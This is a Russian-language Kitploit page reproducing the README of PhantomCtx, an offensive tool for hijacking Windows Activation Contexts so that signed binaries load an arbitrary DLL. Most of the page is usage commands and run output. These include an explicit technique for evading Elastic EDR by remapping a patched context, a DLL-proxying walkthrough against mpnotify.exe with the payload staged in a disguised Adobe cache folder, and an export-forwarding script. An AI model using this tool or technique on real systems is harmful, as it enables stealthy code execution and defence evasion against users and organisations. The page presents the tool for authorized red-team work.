Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PhantomCtx — Инструмент обхода перехвата контекста активации | Kitploit
Инструменты/GitHubGitHub/r3xmax/phantomctx
Повышение привилегийЭксплуатацияПост-эксплуатацияRed TeamingРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubr3xmax/phantomctx

PhantomCtx

Инструмент обхода перехвата контекста активации

Репозиторий
3065212 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

PhantomCtx

PhantomCtx — это инструмент, автоматизирующий перехват контекста активации (Activation Context) с целью загрузки произвольной DLL в подавляющее большинство подписанных исполняемых файлов (например, Microsoft, Adobe, Mozilla).

Загрузчик представлен как современная альтернатива традиционному перехвату и подгрузке DLL (DLL Hijacking & Sideloading): в отличие от традиционных подходов, он не требует уязвимого бинарного файла. Метод может быть применён до тех пор, пока целевой исполняемый файл разрешает DLL через свою таблицу импорта (IAT) или, в худшем случае, через LoadLibrary без абсолютного пути.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

root@kitploit:~
            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

root@kitploit:~
    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.
root@kitploit:~
Для более глубокого погружения в то, как это работает внутри и как обходит агрессивные EDR-решения, ознакомьтесь с постом в [моём техническом блоге](https://rexmax.dev/posts/phantomctx-new-approach-to-activation-context-hijacking-for-edr-evasion/).

# Содержание

- [Внутренний механизм](#internal-mechanism)
  - [Новый метод перехвата контекста активации, ориентированный на обход EDR](#a-new-method-for-activation-context-hijacking-focused-on-edr-evasion)
- [Как скомпилировать](#how-to-compile)
- [Использование: модульный рабочий процесс](#usage-module-based-workflow)
  - [Разведка](#recon)
  - [Запуск (рекомендуется)](#spawn-recommended)
  - [Во время выполнения](#runtime)
- [Пример: перехват контекста активации + DLL-проксинг mpnotify.exe](#example-activation-context-hijacking--dll-proxying-mpnotifyexe)
- [Отказ от ответственности](#disclaimer)
- [Ссылки](#references)

# Внутренний механизм

`PhantomCtx` злоупотребляет **легитимной** функцией Windows, присутствующей в большинстве процессов, называемой **контексты активации**. Согласно Microsoft:

>[_Контексты активации_](https://learn.microsoft.com/en-us/windows/win32/sbscs/a-sbscs-gly) — это структуры данных в памяти, содержащие информацию, которую система может использовать для перенаправления приложения **на загрузку определённой версии DLL**, экземпляра COM-объекта или пользовательской версии окна...

Когда загрузчик Windows разрешает DLL (через `LoadLibrary` или таблицу импорта), он следует определённому порядку разрешения:

1. Перенаправление DLL
2. Наборы API
3. **Перенаправление манифеста SxS**
4. Список загруженных модулей
5. Известные DLL
6. Граф зависимостей пакетов процесса  
7 – 12. Стандартный порядок поиска файлов на диске

`PhantomCtx` нацелен на шаг 3: **перенаправление манифеста SxS**. Контексты активации создаются из [Side-by-Side](https://en.wikipedia.org/wiki/Side-by-side_assembly) (`.manifest`) файлов, связанных с исполняемыми файлами, обычно встроенных в PE-бинарники. Внутренне контекст активации содержит **оглавление (ToC)**, индексирующее несколько разделов, включая **раздел перенаправления DLL**. Загрузчик обычно обращается к контекстам активации через `PEB.ActivationContextData`.

Исследование [Куроша Даббага Эскаланте](https://github.com/Kudaes) показало, что вредоносный контекст активации можно создать с помощью `CreateActCtxW`, записать в память `RW` в целевой процесс, а затем активировать, перезаписывая `PEB.ActivationContextData` так, чтобы он указывал на сфабрикованную структуру.

После перехвата загрузчик разрешает перенаправления DLL, определённые в вредоносном контексте активации, **перенаправляя разрешение библиотек** на пути, контролируемые атакующим.

Загрузчик под названием `Eclipse`, разработанный в рамках его исследования, можно найти в [официальном репозитории](https://github.com/Kudaes/Eclipse).

## Новый метод перехвата контекста активации, ориентированный на обход EDR

После множества тестов `Eclipse` был обнаружен агрессивными EDR, такими как Elastic, в следующих точках:

- `Potential Suspended Process Code Injection`: создание приостановленного процесса с последующим `NtWriteVirtualMemory` для копирования AC-блобов в удалённый процесс.
- `Remote Process Memory Write by Low Reputation Module`: `NtWriteVirtualMemory` без `CreateProcess` в стеке вызовов и модуль с низкой репутацией, что необходимо для перезаписи `PEB.ActivationContextData`.
- `Remote Memory Write to Trusted Target Process`: `WriteProcessMemory` без `CreateProcess` в стеке вызовов, ограниченная системными/установленными пользователем бинарниками.

После одного дня исследований в поисках альтернативных подходов для реализации в `PhantomCtx` я обнаружил, что **область памяти исходного контекста активации является представлением раздела, отображаемым во время создания процесса**. Можно **отменить отображение этого представления раздела с помощью** `NtUnmapViewOfSection`, а затем создать новое представление раздела только для чтения, поддерживаемое нашим вредоносным контекстом активации, и отобразить его **по тому же самому адресу памяти**, где находился исходный.

В результате **больше нет необходимости** загрузчику перезаписывать указатель `PEB.ActivationContextData`. Это устраняет необходимость использования `NtAllocateVirtualMemory` и `NtWriteVirtualMemory`, обходя все правила мониторинга EDR, связанные с записью в память удалённого процесса и инъекцией.

Кроме того, для повышения сложности обнаружения `PhantomCtx` не использует `CreateActCtxW`, снимая необходимость работы с `.manifest` файлами во время атаки. В зависимости от выбранного режима он может **украсть контекст активации из другого удалённого процесса**, содержащего корректный раздел перенаправления DLL, с помощью `NtReadVirtualMemory`, реконструировать записи перенаправления DLL локально, пропатчить их, а затем заменить исходные.

# Как скомпилировать

Для компиляции инструмента рекомендуется использовать Visual Studio или совместимый компилятор.

Если вы используете VS, откройте `x64 Native Tools Command Prompt for VS`, перейдите в корневой каталог проекта и скомпилируйте с помощью `compile.bat`:```
C:\PhantomCtx>.\compile.bat
[INFO] Created output directory: x64
[INFO] Compiling PhantomCtx...
main.c
utils.c
recon.c
actctx.c
c_runtime.c
dynamic_resolution.c
process_utils.c
spawn.c
runtime.c
Generating Code...
[SUCCESSFUL] Build successful: x64\PhantomCtx.exe

Использование: Модульный рабочий процесс

Инструмент спроектирован с модульной архитектурой, чтобы упростить разработку, предоставляя оператору четкий пошаговый рабочий процесс.

Каждый модуль выполняет конкретную роль в рамках рабочего процесса эксплуатации.

Пожалуйста, уделите время на ознакомление с назначением каждого модуля, чтобы полностью использовать возможности инструмента!!!

Атака может быть выполнена либо на процесс, который будет запущен (рекомендуется), либо на уже работающий процесс. Инструмент предназначен для работы с обоими сценариями.```c C:\PhantomCtx\x64>.\PhantomCtx.exe

root@kitploit:~
            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m [MODE] [OPTIONS]

Modes: -m recon Displays information about the Activation Context DLL redirections of a running process or one to be spawned.

root@kitploit:~
    -m spawn        Perform Activation Context Hijacking using an on-disk executable
                    (preferably a signed binary for OPSEC purposes).

    -m runtime      Perform Activation Context Hijacking on an already running process.
root@kitploit:~
## Recon

Режим `recon` фокусируется на анализе контекста активации целевой программы или запущенного процесса. Это первый модуль, который следует выполнить, так как он определяет, какой подмодуль эксплуатации должен быть использован в рамках рабочего процесса эксплуатации.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m recon -s [SUBMODE] -p [PROCESS_NAME|PATH]

  Submodes:
        -s spawn        Spawn a process in suspended mode to retrieve its
                        Activation Context DLL redirection information.

        -s runtime      Attach to a currently running process to retrieve its
                        Activation Context DLL redirection information.

  Examples:
        PhantomCtx.exe -m recon -s spawn   -p C:\path\to\target.exe
        PhantomCtx.exe -m recon -s runtime -p target.exe

В качестве примера мы используем подписанный бинарный файл Microsoft mpnotify.exe. Первым шагом необходимо определить, содержит ли он действительный контекст активации с разделом перенаправления DLL.

Если нет, инструмент рекомендует подмодуль steal-context в режимах spawn или runtime, который извлекает контекст активации из другого процесса, содержащего действительный раздел перенаправления.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Windows\System32\mpnotify.exe" [SUCCESS] Suspended process created... [SUCCESS] Activation Context Data Blob copied to local heap buffer @00000294CEA79CD0 (916 bytes)

+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x394 (916 bytes) | Flags : 0x00000000 | +--[ TOC ] 6 entries | [00] Id=1 Format=1 Offset=0x00D4 Length=0x0218 | [01] Id=4 Format=2 Offset=0x02EC Length=0x0028 | [02] Id=5 Format=2 Offset=0x0314 Length=0x0028 | [03] Id=6 Format=2 Offset=0x033C Length=0x0028 | [04] Id=9 Format=2 Offset=0x0364 Length=0x0028 | [05] Id=11 Format=1 Offset=0x038C Length=0x0008 | +--[ DLL REDIRECTION ] not present in this blob | +--[ HINT ] Use 'steal-context' to steal the Activation Context from a running process that has one. Example: -m spawn|runtime -s steal-context -p -d --dll-path --steal-from

root@kitploit:~
Если целевая программа или процесс Activation Context содержит допустимый DLL redirection section, наиболее эффективным подходом является использование подмодулей `add-entry` или `patch-entry` в режимах эксплуатации `spawn` или `runtime`.

## Spawn (рекомендуется)

Режим `spawn` предназначен для выполнения перехвата Activation Context путем запуска процесса из подписанного исполняемого файла на целевой системе.

Этот метод является **наиболее рекомендуемым** и тщательно протестированным, благодаря своей операционной простоте и надежности.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -h

                +----------------------------------+
                |         PhantomCtx v1.0          |
                +----------------------------------+

  Usage:
        PhantomCtx.exe -m spawn -s [SUBMODE] -p [PATH] [OPTIONS]

  Submodes:
        -s steal-context        Spawn a process and hijack its Activation Context
                                by stealing the context from another running process.

        -s add-entry            Spawn a process and hijack its Activation Context
                                by adding a new DLL redirection entry.

        -s patch-entry          Spawn a process and hijack its Activation Context
                                by patching the path of an existing DLL redirection entry.

  Options:
        -p <PATH>               Path to the target executable to spawn.
        -d <DLL>                Name of the DLL to hijack (e.g. comctl32.dll).
        --dll-path <PATH>       Path to the custom DLL to load.

  steal-context Options:
        --steal-from <NAME>     Process name to steal the Activation Context from.

  Examples:
        PhantomCtx.exe -m spawn -s steal-context  -p C:\program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s add-entry      -p C:\program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll
        PhantomCtx.exe -m spawn -s patch-entry    -p C:\program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

Внутренний рабочий процесс этого режима следующий:

  1. Создать целевой процесс в приостановленном состоянии с помощью CreateProcessW.
  2. В зависимости от выбранного подмодуля:
    • steal-context: Открыть процесс-источник и скопировать допустимый контекст активации, содержащий секцию перенаправления DLL, в локальный буфер. В зависимости от того, существует ли уже запись для целевой DLL, создаётся новая запись или патчится существующая. Изменённый контекст активации затем отображается в приостановленном процессе, заменяя оригинальный.

    • add-entry: Открыть приостановленный процесс программы и скопировать его контекст активации в локальный буфер. Добавляется новая запись перенаправления DLL для указанной DLL, и изменённый контекст активации заменяет оригинал.

    • patch-entry: Открыть приостановленный процесс программы и скопировать его контекст активации в локальный буфер. Существующая запись перенаправления DLL для указанной DLL патчится так, чтобы указывать на предоставленный путь к DLL полезной нагрузки, и изменённый контекст активации заменяет оригинал.

  3. Возобновить выполнение приостановленного процесса с помощью ResumeThread.

Подмодуль steal-context рекомендуется, когда целевой исполняемый файл не содержит допустимого контекста активации или допустимой секции перенаправления DLL. Это можно определить с помощью ранее выполненного модуля recon.

Надёжной целью для кражи контекста является explorer.exe. Это не создаёт риска нестабильности или обнаружения, так как операция включает только чтение виртуальной памяти.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path C:\hijack\hijack.dll [SUCCESS] Found 'explorer.exe' PID 1604 [SUCCESS] Opened handle to PID 1604 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000001AC80F53FD0 (8256 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2040 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\hijack\hijack.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\hijack\hijack.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2040 -> 0x20E4 [SUCCESS] Blob patched. New TotalSize = 0x20E4

[INFO] Patched ActivationContextData: | | +--[ DLL REDIRECTION ] 3 entries | | | [02] advapi32.dll | PseudoKey : 0xF60E87FC | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | +--[ END ]

[SUCCESS] Original Activation Context region unmapped @ 00000164EA0A0000 [SUCCESS] Patched Activation Context mapped at 00000164EA0A0000 (same address) [SUCCESS] Target process resumed. ``` Подмодули `add-entry` и `patch-entry` используются, когда **приложение уже имеет действительный контекст активации с разделом перенаправления DLL** и:
  1. Он уже содержит запись перенаправления для DLL; в этом случае подходящим вариантом является patch-entry.
  2. Необходимо добавить пользовательское перенаправление для библиотеки, которая, как ожидается, будет загружена во время выполнения; в этом случае используется add-entry.

Хотя steal-context всё ещё может использоваться в этих сценариях, обычно в этом нет необходимости, поскольку действительный контекст активации уже доступен для модификации.

Пример patch-entry можно наблюдать после перечисления msedge.exe с помощью PhantomCtx, где обнаруживается существующая запись пользовательского перенаправления для msedge_elf.dll:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s spawn -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : |

C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s patch-entry -p "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll ``` Кроме того, путем перечисления IAT целевого процесса можно выявить импортированные DLL, подходящие для перехвата. Например, `librewolf.exe` импортирует `SHLWAPI.dll`, даже если она отсутствует в манифесте контекста активации; в таких случаях ее можно добавить в таблицу перенаправления для принудительного разрешения.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m spawn -s add-entry -p "C:\Program Files\LibreWolf\librewolf.exe" -d SHLWAPI.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| +--[ DLL REDIRECTION ] 4 entries | [00] SHLWAPI.dll | PseudoKey : 0x65C6D010 | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | ``` ## Runtime

Режим runtime предназначен для выполнения перехвата контекста активации (Activation Context hijacking) в подписанном, уже запущенном процессе.

Хотя этот модуль реализован, его эффективность зависит от точного знания того, когда и какая конкретная библиотека загружается во время выполнения процесса. В результате, даже если контекст активации легитимного процесса перехвачен, успех по-прежнему зависит от того, что целевой процесс вызовет LoadLibrary без явного пути, что часто трудно предсказать.```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -h

root@kitploit:~
            +----------------------------------+
            |         PhantomCtx v1.0          |
            +----------------------------------+

Usage: PhantomCtx.exe -m runtime -s [SUBMODE] -p [PROCESS_NAME] [OPTIONS]

Submodes: -s steal-context Hijack the Activation Context of a running process by stealing the context from another running process.

root@kitploit:~
    -s add-entry            Hijack the Activation Context of a running process
                            by adding a new DLL redirection entry.

    -s patch-entry          Hijack the Activation Context of a running process
                            by patching the path of an existing DLL redirection entry.

Options: -p <PROCESS_NAME> Name of the already running target process (e.g. notepad.exe). -d Name of the DLL to hijack (e.g. comctl32.dll). --dll-path Path to the custom DLL to load.

steal-context Options: --steal-from Process name to steal the Activation Context from.

Examples: PhantomCtx.exe -m runtime -s steal-context -p program.exe --steal-from explorer.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s add-entry -p program.exe -d crypt32.dll --dll-path C:\path\to\custom.dll PhantomCtx.exe -m runtime -s patch-entry -p program.exe -d comctl32.dll --dll-path C:\path\to\custom.dll

root@kitploit:~
Внутренний рабочий процесс этого режима следующий:
1. PID целевого процесса определяется по имени исполняемого файла, и процесс открывается с правами `PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION`.
2. В зависимости от выбранного подмодуля:
    - `steal-context`: Откройте процесс-источник и скопируйте действительный контекст активации, содержащий секцию перенаправления DLL, в локальный буфер. В зависимости от того, существует ли уже запись для целевой DLL, создаётся новая запись или существующая модифицируется. Изменённый контекст активации затем отображается в работающий процесс, заменяя оригинальный.
	  
	- `add-entry`: Откройте целевой работающий процесс и скопируйте его контекст активации в локальный буфер. Добавляется новая запись перенаправления DLL для указанной DLL, и изменённый контекст активации заменяет оригинал.
	  
	- `patch-entry`: Откройте целевой работающий процесс и скопируйте его контекст активации в локальный буфер. Существующая запись перенаправления DLL для указанной DLL модифицируется так, чтобы указывать на предоставленную полезную нагрузку DLL, и обновлённый контекст активации заменяет оригинал.

Подмодуль `steal-context` рекомендуется, когда **целевой работающий процесс не содержит действительного контекста активации или действительной секции перенаправления DLL**. Это можно определить с помощью ранее выполненного модуля `recon`.

Надёжной целью для кражи контекста является `explorer.exe`. Это не приводит к нестабильности или риску обнаружения, поскольку операция включает только чтение виртуальной памяти.```c
C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s steal-context -p cmd.exe --steal-from explorer.exe -d user32.dll --dll-path C:\hijack\hijack.dll

<SNIP>

[INFO] Patched ActivationContextData:

<SNIP>
|
+--[ DLL REDIRECTION ] 3 entries
|  [00] user32.dll
|       PseudoKey  : 0x0DB00860
|       RosterIdx  : 1
|       Flags      : PATH_INCLUDES_BASE_NAME
|       Segments   : 1  PathLen=40 bytes
|       Path       : C:\hijack\hijack.dll

<SNIP>
[SUCCESS] Activation Context hijacked in running process 'cmd.exe'.

Подмодули add-entry и patch-entry используются, когда у текущего процесса уже есть допустимый контекст активации с разделом перенаправления DLL и:

  1. Он уже содержит запись перенаправления для DLL; в этом случае подходящим вариантом является patch-entry.
  2. Необходимо добавить пользовательское перенаправление для библиотеки, которая предположительно будет загружена во время выполнения; в этом случае используется add-entry.

Хотя steal-context все еще можно использовать в этих сценариях, в этом обычно нет необходимости, поскольку для модификации уже доступен допустимый контекст активации.

Пример patch-entry можно наблюдать после перечисления процесса msedge.exe с помощью PhantomCtx, где обнаруживается существующая запись пользовательского перенаправления для msedge_elf.dll:```c C:\PhantomCtx\x64>.\PhantomCtx.exe -m recon -s runtime -p msedge.exe

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : |

C:\PhantomCtx\x64>.\PhantomCtx.exe -m runtime -s patch-entry -p msedge.exe -d msedge_elf.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| | [01] msedge_elf.dll | PseudoKey : 0x81A505F9 | RosterIdx : 3 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` Альтернативно, с помощью перечисления событий времени выполнения целевого процесса можно идентифицировать DLL, загруженные во время выполнения, подходящие для перехвата, с использованием таких инструментов, как `Procmon`. В таких случаях её можно добавить в таблицу перенаправления, чтобы принудительно выполнить разрешение.```c .\PhantomCtx.exe -m runtime -s add-entry -p msedge.exe -d target.dll --dll-path C:\hijack\hijack.dll

[INFO] Patched ActivationContextData:

| +--[ DLL REDIRECTION ] 4 entries | [00] target.dll | PseudoKey : 0x2D1B25C7 | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=40 bytes | Path : C:\hijack\hijack.dll | [SUCCESS] Activation Context hijacked in running process 'msedge.exe'. ``` # Пример: Перехват контекста активации + проксирование DLL 'mpnotify.exe'

Рассмотрим практический сценарий, в котором PhantomCtx остается необнаружимым на полностью обновленной машине с Windows 11, запускающей агент Elastic Cloud XDR со ВСЕМИ включенными правилами и в режиме Prevent для максимальной агрессивности.

Обратите внимание, что мы будем нацеливаться на бинарные файлы Windows 11; поэтому, если наша атакующая машина работает под управлением Windows 10, нам необходимо перенести проанализированные исполняемые файлы и DLL на нашу машину.

Первый шаг — определить исполняемый файл Windows, который импортирует соответствующие DLL.

В этом случае мы используем PE-Bear для проверки таблицы импорта (IAT) подписанного исполняемого файла C:\Windows\System32\mpnotify.exe, где ADVAPI32.dll можно идентифицировать как один из его импортов:

Чтобы предотвратить сбой приложения или неожиданное поведение при загрузке нашей полезной нагрузки, необходимо выполнить проксирование DLL, чтобы наша полезная нагрузка перенаправляла вызовы в исходную DLL.

Для извлечения всех экспортированных функций из ADVAPI32.dll и генерации директив перенаправления, которые будут указаны в исходном коде нашей прокси-DLL, будет использоваться DLL Export Viewer.

После открытия C:\Windows\System32\advapi32.dll в DLL Export Viewer перейдите в View > HTML Report - All Functions.

Необходимо держать окно браузера открытым, чтобы сгенерированный файл report.html оставался доступным. Затем путь к файлу копируется и обрабатывается с помощью следующего скрипта Python, разработанного itm4n:```python """ The report generated by DLL Exported Viewer is not properly formatted so it can't be analyzed using a parser unfortunately. """ from future import print_function import argparse

def main(): parser = argparse.ArgumentParser(description="DLL Export Viewer - Report Parser") parser.add_argument("report", help="the HTML report generated by DLL Export Viewer") args = parser.parse_args() report = args.report

root@kitploit:~
try:
    f = open(report)
    page = f.readlines()
    f.close()
except:
    print("[-] ERROR: open('%s')" % report)
    return

for line in page:
    if line.startswith("<tr>"):
        cols = line.replace("<tr>", "").split("<td bgcolor=#FFFFFF nowrap>")
        function_name = cols[1]
        ordinal = cols[4].split(' ')[0]
        dll_orig = "%s_orig" % cols[5][:cols[5].rfind('.')]
        print("#pragma comment(linker,\"/export:%s=%s.%s,@%s\")" % (function_name, dll_orig, function_name, ordinal))

if name == 'main': main()

root@kitploit:~
Please provide the Markdown content to translate.```c
C:\Users\rexmax\Documents\DLL Proxying>.\exports.py dllexp\report.html
#pragma comment(linker,"/export:A_SHAFinal=advapi32_orig.A_SHAFinal,@1002")
#pragma comment(linker,"/export:A_SHAInit=advapi32_orig.A_SHAInit,@1003")
#pragma comment(linker,"/export:A_SHAUpdate=advapi32_orig.A_SHAUpdate,@1004")
<SNIP>

Все экспорты из выходных данных копируются в исходный код payload.c, после чего DLL компилируется и размещается рядом с PhantomCtx на машине атакующего, вместе с копией оригинальной библиотеки, переименованной в advapi32_orig.dll.

Необходимые файлы должны быть организованы следующим образом:```c C:\Users\rexmax\Documents\WindowsInternals\PhantomCtx\x64>dir

06/13/2026 08:53 PM 158,208 advapi32.dll 06/10/2026 01:52 AM 753,544 advapi32_orig.dll 06/13/2026 08:28 PM 198,144 PhantomCtx.exe

root@kitploit:~
Затем файлы переносятся в каталог на целевой машине Windows 11. В данном случае они помещаются в:```
C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache

После этого выполняется перехват контекста активации для двоичного файла mpnotify.exe с помощью PhantomCtx:```c C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache>.\PhantomCtx.exe -m spawn -s steal-context -p "C:\Windows\System32\mpnotify.exe" --steal-from explorer.exe -d advapi32.dll --dll-path "C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll" [SUCCESS] Found 'explorer.exe' PID 6380 [SUCCESS] Opened handle to PID 6380 [SUCCESS] Activation Context Data Blob copied to local heap buffer @000002B135B26AA0 (8276 bytes) [INFO] Activation Context blob from 'explorer.exe'. TotalSize=0x2054 [INFO] Patching blob: dllName='advapi32.dll' redirectPath='C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll' [+] 'advapi32.dll' not found -> adding new entry. [ADD] DLL key : advapi32.dll [ADD] Redirect path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll [ADD] PseudoKey : 0xF60E87FC [ADD] RosterIndex : 1 [ADD] ElementCount : 3 [ADD] TotalSize : 0x2054 -> 0x2166 [SUCCESS] Blob patched. New TotalSize = 0x2166

[INFO] Patched ActivationContextData:

+-[ ACTIVATION CONTEXT DATA ] | Magic : 0x78746341 (Actx) | HeaderSize : 0x20 (32 bytes) | FormatVersion : 1 | TotalSize : 0x2166 (8550 bytes) | Flags : 0x00000000 | +--[ TOC ] 9 entries | [00] Id=1 Format=1 Offset=0x0134 Length=0x09CC | [01] Id=2 Format=1 Offset=0x0B00 Length=0x1666 <-- DLL Redirection | [02] Id=3 Format=1 Offset=0x0BC4 Length=0x12C8 | [03] Id=4 Format=2 Offset=0x1E8C Length=0x0028 | [04] Id=5 Format=2 Offset=0x1EB4 Length=0x0028 | [05] Id=6 Format=2 Offset=0x1EDC Length=0x0028 | [06] Id=9 Format=2 Offset=0x1F04 Length=0x0028 | [07] Id=10 Format=1 Offset=0x1F2C Length=0x0120 | [08] Id=11 Format=1 Offset=0x204C Length=0x0008 | +--[ DLL REDIRECTION ] 3 entries | [00] comctl32.dll.mui | PseudoKey : 0xBBF34EA2 | RosterIdx : 3 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : | | [01] comctl32.dll | PseudoKey : 0xF1C4BC4F | RosterIdx : 2 | Flags : OMITS_ASSEMBLY_ROOT | Segments : 0 PathLen=0 bytes | Path : | | [02] advapi32.dll | PseudoKey : 0xF60E87FC | RosterIdx : 1 | Flags : PATH_INCLUDES_BASE_NAME | Segments : 1 PathLen=150 bytes | Path : C:\Users\rexmax\AppData\Roaming\Adobe\Flash Player\NativeCache\advapi32.dll | +--[ END ]

[SUCCESS] Suspended process created... [INFO] Original PEB.ActivationContextData = 0000021D10BA0000 [SUCCESS] Patched blob written to section (8550 bytes) [SUCCESS] Original Activation Context region unmapped @ 0000021D10BA0000 [SUCCESS] Patched Activation Context mapped at 0000021D10BA0000 (same address) [SUCCESS] Target process resumed.

root@kitploit:~
В этом случае DLL полезной нагрузки выполняет `calc.exe`. Оповещения не были сгенерированы.

![](https://assets.kitploit.com/production/public/readmes/8764/520c6f0b907c6e07fef747a8e0139a9f268f0a83fab1964b4d0e28a144144d93.png)

![](https://assets.kitploit.com/production/public/readmes/8764/de01fe20cd0f075525a0cd388b47d0cf4435f54119b87fab0363c5e82b2663d7.png)

# Отказ от ответственности

Этот инструмент был разработан в **личных образовательных целях** и предназначен исключительно для специалистов по безопасности и операторов красных команд, работающих в **авторизованных средах**.

Использование PhantomCtx против систем без явного разрешения **незаконно** и строго запрещено. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим инструментом.

# Ссылки
- [Перехват контекста активации от Kurosh Dabbagh — конференция Navaja](https://www.youtube.com/watch?v=qu4fXWKjabY)
- [Загрузчик ‘Eclipse’ для перехвата контекста активации](https://github.com/Kudaes/Eclipse)
- [NtDoc](https://ntdoc.m417z.com/)
- [Исходный код ReactOS](https://github.com/reactos/reactos)
- [Книга Windows Internals](https://learn.microsoft.com/en-us/sysinternals/resources/windows-internals)
Скачать инструмент